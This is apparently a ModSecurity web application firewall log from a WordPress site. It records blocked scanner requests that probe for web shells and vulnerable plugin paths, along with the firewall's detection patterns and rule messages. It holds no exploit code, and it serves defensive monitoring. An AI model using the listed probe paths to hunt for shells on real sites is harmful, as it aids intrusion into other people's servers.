[Sun Apr 19 22:50:50.188202 2026] [:error] [pid 47886:tid 47899] [client 146.70.194.222:45942] [client 146.70.194.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aeTrykSe8yiyuPrD7yOFgQAAAMs"]
[Sun Apr 19 22:50:50.707054 2026] [:error] [pid 47772:tid 47800] [client 146.70.194.222:46744] [client 146.70.194.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "aeTryoc0L16cb4smAz_aRQAAAAs"]
[Sun Apr 19 22:52:20.507134 2026] [:error] [pid 15764:tid 15838] [client 43.166.136.24:44178] [client 43.166.136.24] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aeTsJGLL_sqdSHoVp-Q7RAAAAkw"]
[Mon Apr 20 00:24:46.701216 2026] [:error] [pid 15694:tid 15745] [client 193.37.32.17:35595] [client 193.37.32.17] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aeUBzrimB-jol1fwqAoiEgAAAZM"]
[Mon Apr 20 00:26:16.929806 2026] [:error] [pid 15694:tid 15746] [client 193.37.32.15:37523] [client 193.37.32.15] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aeUCKLimB-jol1fwqAoiPAAAAZQ"]
[Mon Apr 20 00:27:02.124792 2026] [:error] [pid 47775:tid 47843] [client 193.37.32.32:60921] [client 193.37.32.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-config-sample.php"] [unique_id "aeUCVrmztjlk9tsmoew4tgAAAIA"]
[Mon Apr 20 00:27:27.317914 2026] [:error] [pid 47886:tid 47911] [client 193.37.32.53:39861] [client 193.37.32.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/theme-compat/"] [unique_id "aeUCb0Se8yiyuPrD7yOSggAAANc"]
[Mon Apr 20 00:28:37.529846 2026] [:error] [pid 47886:tid 47910] [client 193.37.32.25:29757] [client 193.37.32.25] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "aeUCtUSe8yiyuPrD7yOSzwAAANY"]
[Mon Apr 20 00:28:52.729051 2026] [:error] [pid 15693:tid 15699] [client 193.37.32.17:20277] [client 193.37.32.17] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade/"] [unique_id "aeUCxMNMD-ccazQlTslsAwAAAUM"]
[Mon Apr 20 00:29:32.926803 2026] [:error] [pid 47772:tid 47796] [client 193.37.32.10:30027] [client 193.37.32.10] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/network/"] [unique_id "aeUC7Ic0L16cb4smAz_2aQAAAAc"]
[Mon Apr 20 00:29:48.122715 2026] [:error] [pid 47773:tid 47817] [client 193.37.32.15:48197] [client 193.37.32.15] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/private/"] [unique_id "aeUC_OiBHdnCJDuPq9BpaAAAAEE"]
[Mon Apr 20 00:31:18.329652 2026] [:error] [pid 47773:tid 47821] [client 193.37.32.15:40523] [client 193.37.32.15] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/"] [unique_id "aeUDVuiBHdnCJDuPq9BpnAAAAEU"]
[Mon Apr 20 00:31:48.558251 2026] [:error] [pid 47772:tid 47789] [client 193.37.32.10:36583] [client 193.37.32.10] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/pullquote/"] [unique_id "aeUDdIc0L16cb4smAz_21wAAAAA"]
[Mon Apr 20 00:32:00.204916 2026] [:error] [pid 15764:tid 15845] [client 51.159.142.108:46936] [client 51.159.142.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.159.142.108, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeUDgGLL_sqdSHoVp-Re1AAAAlM"]
[Mon Apr 20 00:33:03.752062 2026] [:error] [pid 47886:tid 47911] [client 193.37.32.17:54781] [client 193.37.32.17] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/function/function.php"] [unique_id "aeUDv0Se8yiyuPrD7yOTzQAAANc"]
[Mon Apr 20 00:33:08.949428 2026] [:error] [pid 15694:tid 15731] [client 193.37.32.27:36371] [client 193.37.32.27] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/upload/zczv.php"] [unique_id "aeUDxLimB-jol1fwqAojbQAAAYU"]
[Mon Apr 20 00:33:54.150264 2026] [:error] [pid 15760:tid 15775] [client 193.37.32.15:31793] [client 193.37.32.15] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/ws.php"] [unique_id "aeUD8vSdD_XHQMJ_ISuSRwAAAcc"]
[Mon Apr 20 00:34:54.352199 2026] [:error] [pid 47886:tid 47900] [client 193.37.32.15:60509] [client 193.37.32.15] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/"] [unique_id "aeUELkSe8yiyuPrD7yOUCwAAAMw"]
[Mon Apr 20 00:34:54.548350 2026] [:error] [pid 47886:tid 47893] [client 193.37.32.27:38121] [client 193.37.32.27] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/js/widgets/"] [unique_id "aeUELkSe8yiyuPrD7yOUDAAAAMU"]
[Mon Apr 20 00:35:19.753534 2026] [:error] [pid 47773:tid 47839] [client 193.37.32.53:34661] [client 193.37.32.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/paragraph/"] [unique_id "aeUER-iBHdnCJDuPq9BqTgAAAFc"]
[Mon Apr 20 00:35:19.947951 2026] [:error] [pid 47772:tid 47804] [client 193.37.32.15:21509] [client 193.37.32.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/about.php"] [unique_id "aeUER4c0L16cb4smAz_3twAAAA8"]
[Mon Apr 20 00:36:15.148347 2026] [:error] [pid 15760:tid 15768] [client 193.37.32.27:63393] [client 193.37.32.27] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/app.php"] [unique_id "aeUEf_SdD_XHQMJ_ISuS1wAAAcA"]
[Mon Apr 20 00:36:15.344518 2026] [:error] [pid 15760:tid 15792] [client 193.37.32.15:35891] [client 193.37.32.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jcrop/Jcrop.php"] [unique_id "aeUEf_SdD_XHQMJ_ISuS2AAAAdg"]
[Mon Apr 20 00:38:25.550710 2026] [:error] [pid 47772:tid 47800] [client 193.37.32.32:51955] [client 193.37.32.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/nextpage/"] [unique_id "aeUFAYc0L16cb4smAz_4UQAAAAs"]
[Mon Apr 20 00:38:35.746683 2026] [:error] [pid 47772:tid 47813] [client 193.37.32.17:32151] [client 193.37.32.17] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/fields/"] [unique_id "aeUFC4c0L16cb4smAz_4YAAAABg"]
[Mon Apr 20 00:39:55.949986 2026] [:error] [pid 47773:tid 47832] [client 193.37.32.10:50185] [client 193.37.32.10] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/neve/assets/apps/dashboard/build/"] [unique_id "aeUFW-iBHdnCJDuPq9Bq2gAAAFA"]
[Mon Apr 20 00:40:01.146182 2026] [:error] [pid 15760:tid 15789] [client 193.37.32.27:61143] [client 193.37.32.27] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/group/"] [unique_id "aeUFYfSdD_XHQMJ_ISuUGwAAAdU"]
[Mon Apr 20 00:40:26.343503 2026] [:error] [pid 47886:tid 47888] [client 193.37.32.27:57887] [client 193.37.32.27] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/src/Content/Type/"] [unique_id "aeUFekSe8yiyuPrD7yOUrwAAAMA"]
[Mon Apr 20 00:40:41.540538 2026] [:error] [pid 15764:tid 15836] [client 193.37.32.32:20781] [client 193.37.32.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/sodium_compat/namespaced/Core/"] [unique_id "aeUFiWLL_sqdSHoVp-Rg3gAAAko"]
[Mon Apr 20 00:40:41.736135 2026] [:error] [pid 47772:tid 47808] [client 193.37.32.53:52573] [client 193.37.32.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/panel.php"] [unique_id "aeUFiYc0L16cb4smAz_5CgAAABM"]
[Mon Apr 20 00:40:51.931821 2026] [:error] [pid 47772:tid 47794] [client 193.37.32.32:34257] [client 193.37.32.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/search/"] [unique_id "aeUFk4c0L16cb4smAz_5IAAAAAU"]
[Mon Apr 20 00:41:12.128748 2026] [:error] [pid 47773:tid 47835] [client 193.37.32.27:60923] [client 193.37.32.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Engine/template-singl-portfolio.php"] [unique_id "aeUFqOiBHdnCJDuPq9BrEwAAAFM"]
[Mon Apr 20 00:41:12.325988 2026] [:error] [pid 47772:tid 47809] [client 193.37.32.27:45035] [client 193.37.32.27] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/endpoints/"] [unique_id "aeUFqIc0L16cb4smAz_5bwAAABQ"]
[Mon Apr 20 00:41:17.521776 2026] [:error] [pid 47772:tid 47796] [client 193.37.32.10:26437] [client 193.37.32.10] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/social-links/"] [unique_id "aeUFrYc0L16cb4smAz_5kQAAAAc"]
[Mon Apr 20 00:41:42.716498 2026] [:error] [pid 15760:tid 15782] [client 193.37.32.53:36395] [client 193.37.32.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/mini.php"] [unique_id "aeUFxvSdD_XHQMJ_ISuUbAAAAc4"]
[Mon Apr 20 00:42:42.916998 2026] [:error] [pid 47886:tid 47910] [client 193.37.32.10:58819] [client 193.37.32.10] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/widgets/"] [unique_id "aeUGAkSe8yiyuPrD7yOU3QAAANY"]
[Mon Apr 20 00:44:03.133767 2026] [:error] [pid 47886:tid 47900] [client 193.37.32.32:45427] [client 193.37.32.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/page-list/"] [unique_id "aeUGU0Se8yiyuPrD7yOVAQAAAMw"]
[Mon Apr 20 00:44:08.329636 2026] [:error] [pid 47772:tid 47797] [client 193.37.32.15:46771] [client 193.37.32.15] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/js/dist"] [unique_id "aeUGWIc0L16cb4smAz_6ZAAAAAg"]
[Mon Apr 20 00:44:13.523479 2026] [:error] [pid 47775:tid 47852] [client 193.37.32.17:41293] [client 193.37.32.17] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/about.php"] [unique_id "aeUGXbmztjlk9tsmoew7CAAAAIk"]
[Mon Apr 20 00:44:38.719817 2026] [:error] [pid 15765:tid 15855] [client 193.37.32.25:44231] [client 193.37.32.25] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aeUGdvRqinw-W5EwQ74V_AAAAoI"]
[Mon Apr 20 00:44:38.916153 2026] [:error] [pid 47773:tid 47835] [client 193.37.32.53:39925] [client 193.37.32.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/fonts/"] [unique_id "aeUGduiBHdnCJDuPq9Br2AAAAFM"]
[Mon Apr 20 00:44:49.112084 2026] [:error] [pid 15764:tid 15840] [client 193.37.32.32:51447] [client 193.37.32.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/chosen.php"] [unique_id "aeUGgWLL_sqdSHoVp-Rh9QAAAk4"]
[Mon Apr 20 00:45:24.309480 2026] [:error] [pid 47775:tid 47855] [client 193.37.32.10:63973] [client 193.37.32.10] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/revslider/temp/update_extract/revslider.php"] [unique_id "aeUGpLmztjlk9tsmoew7OAAAAIw"]
[Mon Apr 20 00:45:49.515791 2026] [:error] [pid 47773:tid 47822] [client 193.37.32.53:60005] [client 193.37.32.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/woocommerce/includes/import/about.php"] [unique_id "aeUGveiBHdnCJDuPq9Br5gAAAEY"]
[Mon Apr 20 00:46:24.716143 2026] [:error] [pid 47772:tid 47792] [client 193.37.32.32:37313] [client 193.37.32.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/maintenance.php"] [unique_id "aeUG4Ic0L16cb4smAz_7CgAAAAM"]
[Mon Apr 20 00:46:24.912437 2026] [:error] [pid 15760:tid 15788] [client 193.37.32.32:49921] [client 193.37.32.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentyfour/patterns/file.php"] [unique_id "aeUG4PSdD_XHQMJ_ISuW4wAAAdQ"]
[Mon Apr 20 00:46:55.111593 2026] [:error] [pid 47772:tid 47792] [client 193.37.32.32:40845] [client 193.37.32.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/widgets-form-blocks-interface.php"] [unique_id "aeUG_4c0L16cb4smAz_7MQAAAAM"]
[Mon Apr 20 00:47:05.309341 2026] [:error] [pid 15760:tid 15791] [client 193.37.32.17:29903] [client 193.37.32.17] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/chosen.php"] [unique_id "aeUHCfSdD_XHQMJ_ISuXLwAAAdc"]
[Mon Apr 20 00:48:15.513100 2026] [:error] [pid 47772:tid 47791] [client 193.37.32.27:44635] [client 193.37.32.27] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/srtdgd.php"] [unique_id "aeUHT4c0L16cb4smAz_7cQAAAAI"]
[Mon Apr 20 00:53:05.750352 2026] [:error] [pid 15764:tid 15834] [client 193.37.32.53:21989] [client 193.37.32.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/endpoints/config.php"] [unique_id "aeUIcWLL_sqdSHoVp-RkOAAAAkg"]
[Mon Apr 20 00:54:30.956036 2026] [:error] [pid 47772:tid 47797] [client 193.37.32.15:31189] [client 193.37.32.15] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwenty/assets/js/"] [unique_id "aeUIxoc0L16cb4smAz_9RgAAAAg"]
[Mon Apr 20 00:54:41.150545 2026] [:error] [pid 15764:tid 15844] [client 193.37.32.53:36385] [client 193.37.32.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/root.php"] [unique_id "aeUI0WLL_sqdSHoVp-RktAAAAlI"]
[Mon Apr 20 00:55:26.353889 2026] [:error] [pid 47773:tid 47835] [client 193.37.32.27:20767] [client 193.37.32.27] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade-temp-backup/plugins/maintenance.php"] [unique_id "aeUI_uiBHdnCJDuPq9BtWAAAAFM"]
[Mon Apr 20 00:55:26.547151 2026] [:error] [pid 15694:tid 15735] [client 193.37.32.25:44351] [client 193.37.32.25] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/aboutc.php"] [unique_id "aeUI_rimB-jol1fwqAokygAAAYk"]
